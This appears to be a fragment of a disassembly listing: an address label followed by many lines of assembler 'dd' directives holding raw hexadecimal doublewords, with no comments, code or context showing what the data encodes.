16A1710Ch dd 85F53Fh, 89A0BF11h, 5B060AE7h, 0B9B18D1Bh, 615A0F34h dd 0F03DB350h, 0BEA6BF9Bh, 0DD6CB03Ch, 47D7144Dh, 58EF989Dh dd 3710B757h, 0D69FDC85h, 32C83D33h, 3DCADB80h, 0DFE2450Bh dd 0CDD5CB09h, 0F2E8FD54h, 5FE25B04h, 29061895h, 0D1D69785h dd 0DB466225h, 0B080DB6Eh, 0AB622746h, 20F558h, 21E5EF81h dd 0E96F1509h, 8D45700Ah, 0A72FE0DCh, 57020A3Bh, 88099D4Dh dd 0C1C9EAD9h, 5DA089C6h, 976171D0h, 10DE6B1Ah, 0A66C04DCh dd 8229E45Eh, 3A5710DCh, 0A990576Ah, 5C192761h, 0FA8ECA9Ch dd 433D992Bh, 148414E1h, 9D40DEB0h, 0C571088Ah, 1D90035h dd 4B28C851h, 0CC951BEFh, 1195273Ah, 4DF35C2Bh, 71960578h dd 1D5E4DA3h, 18C1AB8h, 0CC9F5F17h, 31BE5DC8h, 2D412F87h dd 17800F60h, 9DD762h, 0C902B56h, 481CD0B6h, 8898A02Eh dd 4EB5C5Eh, 0CBB79ACDh, 5971B861h, 0BF3BC62h, 0D88B192Eh dd 5A9EC798h, 8D9B3D00h, 0A2F94831h, 0A14F03A3h, 63C3EA2Dh dd 0C22879A8h, 0F588964Bh, 246200D8h, 0F0421122h, 784CC933h dd 0FB8B0456h, 0DDB6965Fh, 0A435DEE0h, 1519E12h, 5B7BD2FBh dd 73257F5Ch, 67FAD853h, 7C1CDBFAh, 68DCC259h, 0BE7BA104h dd 0FF0577B8h, 8241A362h, 4FF475ACh, 0B0786625h, 0CF92DC2h dd 0B6401A12h, 16B45F53h, 2DBD3340h, 2916971Dh, 0D4F0B6h dd 34C277AEh, 805CCB08h, 0ED61912Dh, 3F6C082h, 9412FC41h dd 10E216F9h, 0E2CAB0D7h, 0F1808B04h, 40AC615Dh, 7B8466A3h dd 0A14CDB3Ch, 360B7925h, 2133A118h, 40411F00h, 34133965h dd 5063E41Bh, 40D5C6E0h, 0E9255F03h, 6B3DFF40h, 0FB1B5902h dd 11C64114h, 726787A5h, 0BF663D5Ch, 44C57BA5h, 19FCCF10h dd 7F8D028Ch, 0E6BEBFA6h, 0A125F896h, 2FB7FD03h, 0EFDE488Fh dd 8566645Eh, 69E4D0C4h, 0B6FE4A8Bh, 3019B2CBh, 0E101E465h dd 80C6A41Dh, 342E66EBh, 0DE6EA868h, 1D19BD04h, 0C8A0F03h dd 0E4CD494Fh, 2DF50A41h, 0C03CAC04h, 8E0F781h, 3754B1Dh dd 969A50F7h, 44830F99h, 89B2BF1Fh, 96275B3Fh, 95C356CDh dd 2B09EA0Fh, 0A18DA202h, 0F8095B70h, 53D4B761h, 0E3DF12C5h dd 35B0501Eh, 1C814AEBh, 0E70FD781h, 0EFB3F266h, 20A93062h dd 0E02A3B57h, 952A71BDh, 0B597F296h, 20E32FB5h, 0B17FD0F0h dd 710867B6h, 0FF422513h, 438031B7h, 2FB799EAh, 92CF4801h dd 0E0C8F612h, 9A95F51Fh, 0DC67DCF9h, 6601D9E0h, 1232F55Ah dd 81C8A645h, 7BA409CBh, 18716235h, 4135F7A5h, 22EFA80h dd 69CBA4D0h, 41784458h, 922B42B6h, 0B6181571h, 349D9F4Bh dd 0FCADA83Fh, 40C802F9h, 33753C62h, 9DC123F4h, 5002261Dh dd 0F484105Fh, 63AF0452h, 0B2E99D6Dh, 7CBA4EF3h, 83955B80h dd 708B0FC0h, 0FE84AC35h, 106D258Dh, 4DA74F73h, 0F96CC1DAh dd 6B58D67Eh, 40629225h, 972D3DC5h, 4245351Ch, 24252688h dd 229613h, 42905560h, 26001C99h, 663E3598h, 4BD701BBh dd 0A8CB1261h, 739627A7h, 301A70ECh, 0EDFC2E25h, 601D6449h dd 7D37FA0h, 4D6156E8h, 0AB8A55F7h, 0FEF05BE4h, 0E8B370E3h dd 0BD070073h, 0A9BFC778h, 91754758h, 98BABCFCh, 6D953A92h dd 0A3BF1FAFh, 61251D28h, 1156C714h, 0F2093E2Fh, 359C294Bh dd 4AE5F80Bh, 8CF2CC25h, 0DD6675BCh, 37A29051h, 0DD2DD995h dd 61DB126Ah, 745AFD56h, 0C7EEDC28h, 9B6B6800h, 290DA023h dd 71ED4DBDh, 0E9D3B702h, 818CF396h, 24A9582h, 0DA2EF4CDh dd 0AF8583B9h, 4C0D909Ch, 4F031284h, 81DBBC89h, 23E1BD2Bh dd 7EA09D2Bh, 0A6F19800h, 0BBF5090h, 49C233BBh, 51B35903h dd 0B84EE9DDh, 2F623BA5h, 0DC20EE03h, 4826D88Bh, 9123C31h dd 1AFCEAE8h, 1FFC9D8Ch, 13A3CE6Ch, 0F20607C6h, 0DF4A00A2h dd 3B9966E6h, 0C4B500F4h, 4EDD01ADh, 2A019E2Fh, 5F70CB80h dd 1CF5BD23h, 0D2E0EC6Ah, 0ECA08DB6h, 0D50F1E7Eh, 2949D822h dd 0AFD190h, 0CAC64CC7h, 0BB70BE3Ah, 0FEDCB707h, 0D100455Ch dd 179A60EBh, 30E87A07h, 0D9C54D43h, 357C3100h, 799C010Ah dd 56B3159Dh, 9804CE5Bh, 0FEDA8B90h, 7F0BDE6h, 0BC7BCD4Dh dd 1D34D759h, 73E5D18Dh, 4302AD7Ch, 0F9568341h, 0DFCDD569h dd 566C1462h, 5DEE41DBh, 6D47E874h, 97309900h, 6E28F558h dd 325F90D8h, 0D18F2F2Dh, 25D9FC41h, 33282BCDh, 9D29886Dh dd 68959h, 32B7026Ah, 120EBB50h, 0C4090D66h, 4E80CACAh dd 0AC83E5DAh, 6F9879ADh, 18127145h, 3F61B864h, 0CFC4878Fh dd 6E800093h, 0FE4F5AC0h, 0F82D3BEDh, 9F821097h, 4DE509F5h dd 80DD7433h, 1930BBECh, 8CCC00A3h, 997AC67Ch, 0E97A5F5Bh dd 203F1C97h, 8B2CC6ADh, 7CDEE7FAh, 0DE8B0431h, 0B80E1205h dd 2EDDD436h, 0A109A490h, 3D9850D3h, 561291ABh, 0A486B85Fh dd 32A04FF6h, 72018794h, 10931FA3h, 0A97088B5h, 4BF6F664h dd 7A298916h, 0C84BEF7Ah, 9B90C0ABh, 0B9469B95h, 0EDE66AFBh dd 682BEEA7h, 30A96B02h, 78475B77h, 505CA290h, 38544AF4h dd 11BD0940h, 424B7123h, 0B007011Eh, 30C38000h, 81704BE6h dd 3571E4FBh, 0ADD644EAh, 33053644h, 0CD3121Ah, 943E0F8h dd 145A857Dh, 4E7ED5A6h, 0E2C4528Ah, 0BC57009Eh, 0E369634Bh dd 554158F5h, 0AEEB8009h dd 48B65070h, 17FD0540h, 0FBA300EEh, 80DBC2DCh, 7B1D71E6h dd 51ED75F4h, 25FA4CE2h, 482B2C40h, 1AC090C8h, 5E6486B6h dd 0C6ACDA00h, 5D3937AAh, 14B40265h, 0B1220407h, 0E1072658h dd 7FBB5CD4h, 610C3E10h, 0D18B275Fh, 78A52AF9h, 62A5849Ch dd 8BFC1779h, 2B259057h, 35A54C9Dh, 0C207C085h, 3857A168h dd 8C2F2D7Eh, 8C811845h, 0E96934DBh, 60159E48h, 1792E294h dd 40043C70h, 61090AF9h, 0E3A07971h, 6E88DF4Bh, 69469C28h dd 625B54A9h, 3433CE28h, 0AC9A452h, 19589B7h, 9D5A71Dh dd 86A5B75h, 0FC2445ACh, 0CDF52112h, 54BCE639h, 619D554Bh dd 0FC36FC3Eh, 2863007Ch, 151CD69Ch, 0FB20B9BEh, 5689950Eh dd 77082DBh, 0FCE8258Eh, 0B2C5DFCDh, 15269DC0h, 0E3500180h dd 35B589D2h, 1D452E28h, 0AD23870Fh, 7BFF84BAh, 91A700DDh dd 499CF11Fh, 9841422h, 4D17E2E1h, 81159230h, 3C563289h dd 0E12040D2h, 0E828229h, 30D51E9Dh, 1DABBA5h, 952FBC2h dd 380B25B5h, 61B6B4EEh, 0EDD1AAA0h, 0A90127F8h, 8C6CBBD0h dd 96A75E4h, 0C1560212h, 0D408FC5Ah, 6AA8FF07h, 0EC7CEBE1h dd 5F264081h, 64251797h, 6F4F6017h, 888C4EAEh, 3300B34Ch dd 0FA566302h, 983CCA78h, 0F9014405h, 69606EADh, 26A3A4A8h dd 8355229h, 5B1213F9h, 0EB963FE2h, 27A90D84h, 169836B8h dd 5B12A125h, 0BBB709E0h, 0EDAD4D71h, 0F8D4C906h, 0F504F3EFh dd 3FAE1EDDh, 2D1A2309h, 56319A7Dh, 10C2518Eh, 3CD6C781h dd 8A4BF4D2h, 19B34A88h, 603114F2h, 6B9E282Eh, 0EC85045Dh dd 0D8710705h, 4F19E7AEh, 46D9F45h, 0E42E95FFh, 0F898F85Ch dd 0C2915125h, 70937BA0h, 0EB04E760h, 0C675612Eh, 0B16112BAh dd 0C0F41BBFh, 2AE0F27Dh, 25487472h, 9450DE20h, 0C7568E8Ah dd 7B014789h, 516ED02Dh, 0F8BF0F12h, 1BACEDADh, 0A52F008Ch dd 88912617h, 80124571h, 8BF8BFD7h, 0AD49C412h, 891CADF4h dd 967F003Dh, 0F1E93F65h, 2B549A6h, 2D1B4535h, 0DEBD0258h dd 0FE52955Ch, 4A1440CAh, 3A002E62h, 0D7D4915Ah, 0B557335h dd 6057D094h, 0AB5B7284h, 1D4ECF27h, 8980D994h, 70EFDB58h dd 0AA0B72ECh, 0D8852F3Bh, 0E14D957Fh, 0DF601A64h, 8E0B06BEh dd 0C155A7B9h, 752E2134h, 38F6ACA3h, 4B8C4B8Dh, 4163B809h dd 20E9E017h, 6DB70270h, 9F36E015h, 0E325805Dh, 9578C6C4h dd 56D29AE5h, 0BDDF2778h, 3D1700BFh, 8B9DC7B6h, 0D0DAAA13h dd 2FA6C9FAh, 4BE68A81h, 0B199372Eh, 2E4779BBh, 6B438335h dd 0BD896048h, 0BD9D9680h, 0A6B38A1Bh, 2BE58DE8h, 0DF460DC9h dd 0B60F56E4h, 60AA7FE1h, 2F36C259h, 0BF3D01D6h, 6C69A28Fh dd 47FECC94h, 610A964Ah, 5304E450h, 0DEB8615Fh, 4118C480h dd 3700490Bh, 4DF2588Eh, 0A3F090Ah, 9661DAADh, 8F00DEC1h dd 3CD8BFB0h, 24EC7A0Bh, 0A85BD249h, 934D95B0h, 69611564h dd 7CC82B31h, 7810095h, 90C7532Bh, 4D01A328h, 70526891h dd 0FD3C9B94h, 0C64F9280h, 5D7D4E1Bh, 0E463980Fh, 44754017h dd 0B2493B3h, 577BF53Dh, 0BC0088C4h, 91F17AEEh, 0CF8D21h dd 0C23E7019h, 0A704AAF5h, 4AF9F648h, 93AD50C0h, 0DB644A8Ah dd 80E58F7Eh, 0B5290CF7h, 9D244B39h, 55AC3E6Fh, 49DFB993h dd 902EBDB8h, 0D4991E1h, 9B81B64Ah, 9A6B6568h, 0C215C805h dd 985EF6BEh, 0B81E6B40h, 0A9EF0089h, 81C29228h, 0E898EC36h dd 198A1406h, 40F03125h, 231D611Ah, 5BED2DBDh, 763569D8h dd 3285D780h, 11D7A82h, 0ECDB814Fh, 2B194AE0h, 0E150AA28h dd 80F7DE2Eh, 2743F575h, 0C4ABA85Eh, 31A89830h, 0E9C8042Dh dd 56DE3B3Bh, 11A28CCFh, 8C5C47ACh, 1585C975h, 4AFCECD5h dd 0C2228ECAh, 4D959298h, 68B82FA7h, 16952359h, 0C14D97BFh dd 0AD88DD40h, 9CB3253Dh, 9D2D4ECCh, 0C9A759F5h, 0C0808835h dd 1E3E94CBh, 91685015h, 611A979Ch, 7F8D45C0h, 0C90081B0h dd 36BE6096h, 2741ED99h, 0FC715061h, 0B8C37BBh, 25BB9600h dd 4FE5299Fh, 66EDA586h, 0CC1331E1h, 1D62BE8h, 294C36A1h dd 2A0C05BDh, 1CC880DBh, 4D20C5C0h, 244370C0h, 0A01496Fh dd 0C1B0D9BFh, 2EBD3160h, 807313D7h, 540BE2F1h, 0E3326E0Ah dd 0EB810190h, 4DE98221h, 7C082A19h, 89011D1Ah, 0A8C53151h dd 5028D3ADh, 0B973F92h, 0C446768Ah, 406CB8DFh, 0B84BC4E7h dd 0EC316F8Ch, 0B7265A25h, 428B20ABh, 43AF5A2Eh, 63A5C3C0h dd 0DBB0188h, 0BF852000h, 3184C153h, 7565955Fh, 9F393151h dd 60E28612h, 19529B1h, 1FE22C4Fh, 2E53BC93h, 253927C2h dd 7E0C1A52h, 0CABE006Bh, 0BF585AC7h, 3C9BF504h, 18B86143h dd 8BC7849h, 47977509h, 24AF876h, 0A9CCD781h, 83B7146Fh dd 0F5811811h, 6BD7B95Eh, 730CDC49h, 25E7A05Bh, 34C53339h dd 803AC53Dh, 0BB5096F0h, 0EEC4580Eh, 1BB6F216h, 5FCFA3E0h dd 80690739h, 0FCD0DCF1h, 1619C780h, 52E5BD8Bh, 0AA7DB822h dd 0B09B50h, 11CCF69Bh, 0BF9A49C4h, 22C67209h, 0A312712Fh dd 4C735864h, 5FA33200h, 4288EC8Bh, 0EDB51301h, 23DC7A13h dd 1F6A001Ah, 0ACA8A110h, 718B2C2Dh, 0ED7B490Ch, 220F1650h dd 31160686h, 0AB8BD8Dh, 5F2B38F2h, 0FD85A3E0h, 8FC5BDB7h dd 0CFA12CCEh, 20771FA8h, 525BF76h, 0BB9DC01Bh, 0C45412BCh dd 0D688E317h, 82C4C29Ah, 584AB8BDh, 0F3569F4Dh, 0C0F19BAAh dd 5BE5D32Ah, 9A5D178Ch, 656C8D2h, 0CD686901h, 0DB960D29h dd 20DD8A01h, 1C4BC56Ah, 9B2F839Dh, 0ADA5835Ch, 0BD89A860h dd 18A99619h, 2D71E25Eh, 92BBEEBCh, 91AD2AA9h, 43BB6607h dd 820F6241h, 0BA0CE75Bh, 0B0608AA2h, 53E89551h, 0DD4A8529h dd 7720575Ah, 385850F3h, 0D7FC00CAh, 0ECED296Dh, 9ECBBD6Ah dd 41AB5C0Dh, 2707D668h, 4AD4A092h, 0B2073A22h, 513C25Fh dd 3979F67Bh, 8B4D306Eh, 8A5A50DAh, 816907EEh, 887A11EFh dd 0A7986B16h, 0EBF5002Dh, 0A5486D64h, 1800725Ah, 977769AFh dd 5EFE8A59h, 0CD6F6Ah, 6E4FCA3Dh, 5F943815h, 58CE4B5h dd 0CE551F41h, 0A4E5B6BFh, 371CFF6h, 0FE7ECC95h, 64CEA18Eh dd 4B020D20h, 1AC29D5Bh, 38C7C0AFh, 2F27DB80h, 8CDBD1FFh dd 5C1B1270h, 0DA25A83Ah, 6B11C7C5h, 11B28924h, 0F4937402h dd 6D3478h, 0D6278B58h, 8D890B85h, 50DFC995h, 392ED8F1h dd 0C0615AEBh, 0BDA3D8ACh, 7B702FFCh, 0B1072F64h, 9DB7C7C0h dd 6CC450B7h, 72E1C5B8h, 2FF806D6h, 6FBD2CE9h, 6B725F01h dd 95766545h, 0C6040D48h, 0B8615951h, 83DBD3D3h, 0AA3D2381h dd 0F2569250h, 62D60CACh, 5BF561B4h, 0E4B8D341h, 0CE9956D8h dd 31823380h, 1297EF77h, 0F65BD9C1h, 0BE04E23h, 849D4B42h dd 0FCC3E8FDh, 52028C19h, 0D71C780Ch, 6F72C00Dh, 0B5469FA9h dd 76B16004h, 4CEDB589h, 55736125h, 0E0E9BD3Bh, 0F64A502Fh dd 71532E1Dh, 0F04D132Ah, 0CE09BBCBh, 7362368Ch, 602D11D5h dd 382651D2h, 73E1BF37h, 58CC2AB0h, 0D63600DBh, 94875606h dd 7302EB5Ah, 0E69510B3h, 7F444670h, 0D83A0FA7h, 4B61EB1h dd 0B85D2526h, 133176FAh, 9608E477h, 0ECFD4C2Eh, 0BD17013Bh dd 69F92E25h, 5FC7D880h, 2908150Fh, 0A52D3D95h, 0FC5E0FC2h dd 0C1FE900Bh, 4423BABCh, 84FF9941h, 8262B105h, 0C642C175h dd 1101DADFh, 602AF5F7h, 2B0DFDA0h, 0B760B8C8h, 9BE9C7C8h dd 10EB55D4h, 2A761CB5h, 0B0C86995h, 8190B676h, 0A24EF2BBh dd 42902B12h, 43A0EACAh dd 31D91176h, 0C1B5A29Ch, 0E901252Dh, 9817B160h, 982B9DADh dd 0F888123Bh, 32553899h, 183D1980h, 0CACCC160h, 0B2BA7802h dd 5CA5C05Fh, 523644D6h, 44380FA2h, 0EEAA600h, 0BD9910A7h dd 98DE3297h, 0DA8742Dh, 9E427F89h, 0C7906FEh, 227A559h dd 2D40C2BBh, 0C2E45C52h, 0FE0B54A7h, 1E31C5F5h, 660B60E9h dd 0ADB59AB8h, 232C2620h, 0B2DBB6D2h, 3A6C301Dh, 52E44000h dd 0B7E0957Fh, 0CDBAC43Ch, 0D5B90B2Eh, 860F4E60h, 0E3047BBBh dd 0EEB8177Eh, 28253262h, 3A04F20Eh, 0E6FA2BFAh, 3763E016h dd 0E9E10178h, 0E8A526B3h, 0F7F74028h, 2BE1BA03h, 0EF249B7Bh dd 0C5DD1235h, 0FD6DAA2Fh, 83C0A61Ah, 0D316A3DBh, 4554D100h dd 9D015CC8h, 29224055h, 0BAE5B54Bh, 0E5E7A000h, 0D7416B6h dd 0CFF49E88h, 9F0BDD2Bh, 850921A2h, 48691F69h, 617F7931h dd 5F82AD5Fh, 2AD67E8Bh, 41946D6h, 6B1C0C36h, 25ECBBC5h dd 1506E780h, 6F0437E0h, 56A1F6E6h, 0DB921ABCh, 0BADEC0BFh dd 25D27E58h, 14E5FE8Bh, 6DB7BB60h, 0E6145DEAh, 0CFE436BCh dd 82F4FF69h, 5CDEBFE6h, 1FBA51E2h, 9D09FC80h, 0BF80132Dh dd 494838B8h, 6279E174h, 0D802B1ECh, 0E3A87EEEh, 0F29057EAh dd 4F006285h, 0C06C3596h, 7723BDE8h, 189A97A2h, 574BF27Ch dd 0FE8BD647h, 57A5157h, 807BE0A9h, 0BBBC272Bh, 29FB3E0Eh dd 324CA013h, 0E25B7888h, 0C5E156FFh, 0E468BAF0h, 26DEFA1Dh dd 7E8933AEh, 461F7916h, 0ED975AE6h, 0D547E04Fh, 0F84B8A61h dd 0D43539CAh, 0B8AAA95Bh, 0EF8F0E22h, 8EC9675Fh, 24319782h dd 866274F1h, 7B611269h, 4060021Ch, 952649DDh, 1ABCC0C4h dd 78378709h, 0DC8D9400h, 0FA77D607h, 0B710E36Fh, 0C473F4C9h dd 0BC2341A0h, 0A73AC801h, 89B51770h, 211555E2h, 0EFC4D74Bh dd 0FBDDBA95h, 0C4745128h, 575F90F9h, 0BF5B5BA0h, 0FABBED80h dd 73130C1Ah, 3988310Fh, 22B61EDEh, 0ECF1C07Bh, 79C878Eh dd 0E1FC5C02h, 0D5585A45h, 0B83D7B7h, 5A4EFBA5h, 0BA6E3Eh dd 7809ADFCh, 992E73h, 68E2DF80h, 0CF867CB3h, 4151602Eh dd 41804765h, 4F1319C0h, 4CF8F45Bh, 30988713h, 0ECE592A6h dd 4BC70990h, 0BDF55131h, 0CAB8DB01h, 6A896CAEh, 88C2209Fh dd 0A957E9DBh, 0C1DEF6F6h, 6A280D9Dh, 3E71D7DDh, 7ED2122Bh dd 0CFF871BDh, 25EB3458h, 9FC5C419h, 2E807F37h, 9FCFE33Bh dd 956B737Ch, 11A3E04h, 0D01EBF66h, 0BD71982Bh, 210B2523h dd 683EF963h, 980220CBh, 91BD128Bh, 9811F20Ch, 970FB91Ah dd 824B1193h, 0EA96CC93h, 0BCF45A87h, 61606256h, 27BE597Fh dd 842D8F79h, 2E6680EBh, 965F9CA0h, 5D8D891Ah, 69E45661h dd 4583E020h, 0C304EC68h, 0A8B3141Fh, 13CF81ABh, 8DCAC3C0h dd 11CFB557h, 791C8016h, 4B9D311Dh, 50EB0BBDh, 17F95A18h dd 83EB0A0Fh, 68054095h, 92BBE9B9h, 0A25CD430h, 18FB6E5Eh dd 0EBE61BDAh, 0B6F25AA0h, 3017B246h, 0A8245A3Bh, 0D438B87Fh dd 62B761E8h, 5A7C56D4h, 0BC8D6D80h, 94957BA9h, 27396995h dd 17007671h, 748EDB40h, 0F2F64Fh, 0B52A75BDh, 5A6E3A9Ah dd 0A3DFED1Dh, 28F0F84h, 0EA03524Bh, 113F2DE9h, 0F8CA857h dd 0DE5F5038h, 68DD7C1h, 4151B3ADh, 55F325DDh, 7820B351h dd 0F901480Dh, 0B8776184h, 28FEA263h, 0ADF159CCh, 8BB7DF1Ah dd 97EA8C08h, 3A9AC9FFh, 0EAC07B9Bh, 5C9807E8h, 44239F1Eh dd 8F8BF81h, 206E0CCDh, 623A26F1h, 0D3B47E25h, 0CEF4008Fh dd 9575D697h, 9530AE5Fh, 407D8509h, 1A975F0Bh, 0CC1AFDA3h dd 3167F354h, 552A69C2h, 0F1CDE5BAh, 0B68071E4h, 99699D33h dd 52B51CC4h, 9304E830h, 0FD5EAE09h, 0EEBF5AE0h, 0A42A6841h dd 0F3178143h, 38FDBB23h, 0D78004DEh, 0C07FB81Bh, 56BE781h dd 6B5E52DFh, 47BB6604h, 9D8AAC5h, 0B2521BDh, 0CBF0B36Fh dd 612640B1h, 6FD990B7h, 0B453000Ah, 2C1184EAh, 0D602E574h dd 292D26ABh, 0A5F359ADh, 0B400A9D9h, 8E50F5F0h, 10479463h dd 0C25F2510h, 92C657h, 6574ACD0h, 75CA2325h, 0C5545101h dd 53D47DBAh, 0C863132Eh, 0F6024E73h, 140D6779h, 696B5C3Eh dd 20432BE0h, 336A1897h, 240D20BDh, 0E5D322C2h, 0DAF3DDC0h dd 1AF03F7Bh, 9BED5E00h, 8529261Dh, 5FA4EAB7h, 3706F9Ah dd 80321495h, 9FC672CDh, 853A256Ch, 7296C055h, 604FAD50h dd 23973122h, 87A43C07h, 0BD8224C2h, 0AD97D0F5h, 6018C4DBh dd 5C811E8h, 0BF0F2268h, 52ED1EFBh, 954E71Ah, 71F5C7B3h dd 0BE3C4453h, 5F056270h, 14000BDh, 0D471C9FAh, 0AF0069F7h dd 6BC61FB0h, 0E505749h, 0A0111BBBh, 0FAD2AAF6h, 0FC98A931h dd 7F2F43FBh, 982142B8h, 0FFEB660Bh, 68550005h, 4A0EACDEh dd 0A0F6CA5Bh, 93E517Fh, 3329DB31h, 0CE1C957Eh, 350958E4h dd 59577361h, 0FF1819h, 7FFE51BFh, 0F58D01E1h, 30FB2A5Eh dd 442CC1D4h, 6892482Bh, 4EF37F8h, 7CEEE6D7h, 0A511C2A8h dd 0BA95CC58h, 50B37B62h, 8014C31h, 0A28B1513h, 71E7210Dh dd 251A4E62h, 5092223Ah, 5AD2560h, 97615B80h, 4F447514h dd 0BBB82460h, 30161355h, 9BA7CF55h, 0F6D2AF00h, 80F986F5h dd 983A0254h, 6142FB19h, 38796C55h, 4E47399Dh, 3780259Ah dd 45F6E2ADh, 25B50239h, 648CCFC5h, 0D4BF6018h, 55A62415h dd 8E906099h, 8300DBA3h, 0BE032505h, 1CD975C2h, 2C90BC1h dd 0AEE9F8B5h, 56259F5Ch, 9272DCF1h, 5C930B02h, 60C18B48h dd 970469A3h, 4D58E3Ah, 87E890BCh, 0DA085033h, 0C8DBABC4h dd 0F274D380h, 0A1029B51h, 0A7E82ABBh, 3FA2556Ch, 100D2199h dd 0B00B65FCh, 5E8EC49Bh, 0A3E6FFE5h, 4A4218F2h, 8F954772h dd 0C9DF294Dh, 0EB05FAF3h, 98F03036h, 7E6416BCh, 6C9BBA6Ah dd 0DEE02682h, 0FA96F5DCh, 71C4A5A9h, 0B52D2911h, 23179EB8h dd 8453A9BDh, 96E2C5FCh, 0F64CFCh, 0BC13E182h, 938F1667h dd 0AB874028h, 4317920h, 9509026Ah, 90229275h, 0E40084F9h dd 4A4914D6h, 11C60105h, 82B3507Eh, 0F05E2690h, 17E25549h dd 57B1D8Eh, 0BAB52DAFh, 17239E6Bh, 5BB1BF03h, 2DD610F8h dd 60E9122Ah, 685E38ABh, 6E6BE541h, 0F70073EFh, 0F8078817h dd 4C51083h, 0FC353DBBh, 12BCA86Eh, 0F2B71580h, 7B6A5Ah dd 0E99386EFh, 2597A0CDh, 0ED51830Fh, 8E169440h, 0F99B0909h dd 4D02E383h, 90021AC5h, 0BB8E4056h, 0CC3F1E5Fh, 0BCD6C3Ah dd 7562D65h, 2F1A7652h, 0DF511509h, 0F4C3DC25h, 9498CF00h dd 6CD88F55h, 13784CD5h, 0AE106517h, 2495F8DBh, 52C1EEC0h dd 0D729E8DAh, 0E0808960h, 0FE8D1635h, 0B8B9E483h, 376FED85h dd 32D4F065h, 960004BBh, 9AB1FC0Ch, 123472FEh, 0C16A26F8h dd 281A15A0h, 0D42DB31Ah, 0DEC28ABh, 70DE8B88h, 0D54CB5B0h dd 1349BD10h, 70E6F50Fh, 0BAFA9FEh, 0B40B71E4h, 0C4A700FCh dd 9F1700EBh, 454BAE74h, 0D65CB885h, 6D511EB4h, 13E45F52h dd 0B4C68AD0h, 8A0BAC00h, 0A0DB22D6h, 4BD42FD5h, 0F595F89h dd 0BAD98B05h, 0DCC16C4Ch, 0B21D5A85h, 24FE5A5Bh, 4805ACC9h dd 0A791054h, 81C82B00h, 0FD36A6EFh, 0D18B091Ah, 0E9E7E844h dd 0B82D9183h, 857243CBh, 5F8B4C44h, 1E456012h, 9899D6ACh dd 0D1468ADFh, 4A380C25h, 1C951ADh, 2224D4D9h, 0E90A152Ch dd 0DA12384Bh, 60240AE3h, 0DD09188Bh, 9C1EBA66h, 0AA7D61D6h dd 4595CC05h, 93112DBh, 0DB562495h, 34E38158h, 95855B2h dd 0BA416067h, 7F0DE929h dd 0F7A9BBD4h, 18652B84h, 270EF6B4h, 6A6FFB8Bh, 7D54C940h dd 0FB31005Eh, 0ADB47C7Ah, 320BC781h, 5640BC9Dh, 1946D64Ah dd 3A8E090Eh, 0AE770E24h, 3C01B9C8h, 6E003BFDh, 0F5E5ED98h dd 700BC33h, 0B9E1A83Ch, 0BF891480h, 5F9E955Ch, 12106489h dd 0A53E5CA1h, 0CAF91D61h, 0BBE0BFEDh, 982CABEh, 2D8D0922h dd 0C2B81C41h, 61D34F57h, 2ECA961Ah, 9D233320h, 1E2B49D5h dd 0C1B9BB09h, 0D3691B73h, 0F84C5092h, 0C2050E01h, 60315C2Ah dd 0EBB57020h, 257CAC05h, 709FD361h, 7700DD40h, 3D8671ABh dd 0BB880D6Fh, 0F7DBF025h, 0AB99B61Dh, 50EEB280h, 9EF98B21h dd 85B36233h, 74E9F856h, 60B5D46Ch, 2834D83Eh, 2EC37F8Eh dd 4EBF1BA5h, 3D56174Bh, 0D44DB776h, 720A0C40h, 856C1E68h dd 501B89F9h, 0F46A7C74h, 151FED08h, 0C5BCFD5Fh, 57E9501h dd 0CEC658F2h, 0B243123Fh, 37698D32h, 0AC04BD6Bh, 0A58A91E9h dd 3A0600C1h, 245B18A7h, 2040EF06h, 0E2281957h, 3CA400E3h dd 0D02ADD7h, 0BF1D4F81h, 0CF415461h, 656C9358h, 2EE122Bh dd 11598DB4h, 0EC0036D3h, 952C20DEh, 9D89091Fh, 22C63041h dd 93E13095h, 0D98A8004h, 4690BF04h, 0C8AC657Bh, 29029AA3h dd 0B2A4FEBBh, 51A55624h, 29258952h, 8FA4578Dh, 0E008B660h dd 93A23863h, 0E7810001h, 39158DC8h, 5BC98B95h, 676E70B0h dd 0E3902800h, 0C9773B92h, 11A7BCB4h, 0DA25B11h, 7DC1D300h dd 6FD55D29h, 6122941Ch, 0D8655F5Ch, 9563255Dh, 2CFC07C2h dd 2F6878DCh, 0DD0494B3h, 254B5411h, 7D05C861h, 74F39501h dd 194E3D0h, 299A77F6h, 72EB19Dh, 1381BD21h, 792B2D2Eh dd 1625A898h, 0AC195FC1h, 301AAD9h, 0B7EED0BBh, 5B0E30Fh dd 0A4A2233h, 20EE0F84h, 0EF97ED91h, 5335B70Dh, 7F33DA29h dd 8002DE4Ah, 0FD9647F7h, 190D242Ah, 51109h, 0E5EE9EBBh dd 1226686Ch, 0BB418885h, 0FE8A8531h, 0D9A8032Ah, 0EDFC9786h dd 0ED7BB92Dh, 5FCD5872h, 6ABE6575h, 67E6244Dh, 725CFD05h dd 16DE09E0h, 8F8589D8h, 0C116C894h, 8039FFAFh, 8C72DF52h dd 9D01CAE9h, 0EAD05473h, 85A60005h, 746E6C5Bh, 0BB047D6Fh dd 1BBFB818h, 4D348B8h, 410ED4Dh, 8AAA5F52h, 0CA94A0FEh dd 0E2000B0h, 0A393C07Dh, 1997F5CEh, 372EF951h, 89FAD225h dd 4ADE65F4h, 0D268042Fh, 0ACE8BD48h, 0F94A8C14h, 76E0B1C9h dd 47F61C24h, 0ABA8C16Fh, 6A302F40h, 71FB29C4h, 2A280DD7h dd 9A5AF7A6h, 0E4A2828Bh, 250BFFB4h, 0FA2FD870h, 0E0B06DC0h dd 0F6B0D04Eh, 0EC6B3B0Fh, 0EB804268h, 0E64E7589h, 0BB3569h dd 211D669Eh, 20524B50h, 0E67330C8h, 0FCA53201h, 83D0918h dd 0D863C96Bh, 82076083h, 0D39824D0h, 178EFC11h, 34E4C23Bh dd 0FFAC2163h, 4EA4755h, 210265E8h, 14C09FAh, 54EBFF56h dd 36BF4068h, 7BEDC7C2h, 6E2F8189h, 342200D5h, 0EF0C7728h dd 0BD010960h, 6BFA2C15h, 3E040920h, 7D968B61h, 0D99AAD17h dd 537AE118h, 0E038E6AEh, 0CD88D20h, 23B6B75Ah, 6D950182h dd 17B5ADFEh, 0A48C3400h, 145D0F17h, 0F174CCEBh, 0AA24A112h dd 8421B538h, 0D778376Bh, 9DC4946Dh, 96EE8EB8h, 87B08BF6h dd 8A155BBBh, 0BCFEC086h, 0B3880493h, 0B8666597h, 0D6B0A6ABh dd 7AC16F2Ch, 0BA12D900h, 0B5AA0CE4h, 8C0B4E1Ah, 3905088h dd 56114127h, 0B1F079DFh, 14D2873h, 4E8752Ah, 